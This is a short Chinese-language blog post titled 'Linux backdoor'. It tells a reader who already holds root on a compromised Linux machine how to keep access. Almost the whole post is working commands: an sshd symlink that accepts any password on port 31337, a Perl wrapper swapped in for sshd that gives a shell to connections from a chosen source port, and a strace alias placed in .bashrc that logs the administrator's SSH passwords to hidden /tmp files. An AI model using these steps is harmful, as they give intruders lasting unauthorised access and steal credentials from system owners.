您的位置:首页 > 运维架构 > Linux

linux后门

2016-04-25 01:31 363 查看
如果你登陆到一台linux设备,并且拿到了了root权限,但是你不希望他丢,那么你要建立后门

首先第一种方法:

ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337

登陆的方式是:

ssh root@ip -p 31337

密码随意

这种方法不太稳定,经常会因为各种原因失效。

第二种方法:

[root@localhost ~]# cd /usr/sbin
[root@localhost sbin]# mv sshd ../bin
[root@localhost sbin]# echo '#!/usr/bin/perl' >sshd
[root@localhost sbin]# echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshd
[root@localhost sbin]# echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
[root@localhost sbin]# chmod u+x sshd
[root@localhost sbin]# /etc/init.d/sshd restart
Ps:关于重启sshd的时候的遇到问题的解决方法:
kill -HUP $(cat /var/run/sshd.pid)


登陆:
socat STDIO TCP4:ip:22,sourceport=13377

如果我们想继续渗透下去,也就是记录管理员通过本机登陆其他机子的密码的话要这样:

alias ssh='strace -o /tmp/.sshpwd-`date +%d%h%m%s`.log -e read,write,connect -s2048 ssh'

ssh密码会记录在:/tmp的目录底下以.sshpwd开头的文件:

查看的话就是:

cat /tmp/.sshpwd*.log | tail -n 11

就可以找到密码了

但是如果你要是退出shell或者重启系统,那么这个记录密码的功能就会消失,我们想要这个功能永久生效怎么办?

把:alias ssh='strace -o /tmp/.sshpwd-`date +%d%h%m%s`.log -e read,write,connect -s2048 ssh'

这个写在~/.bashrc 中就可以记录管理员登陆的其他的机子的密码了

有些机子里面没有strace,你要自己下载并且手动编译才行:

下载地址:
http://sourceforge.net/project/showfiles.php?group_id=2861&package_id=2819
参考:http://down.jdsec.com/secbook-7/%E4%B9%A6%E5%AE%89-%E7%AC%AC%E4%B8%83%E6%9C%9F.pdf
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: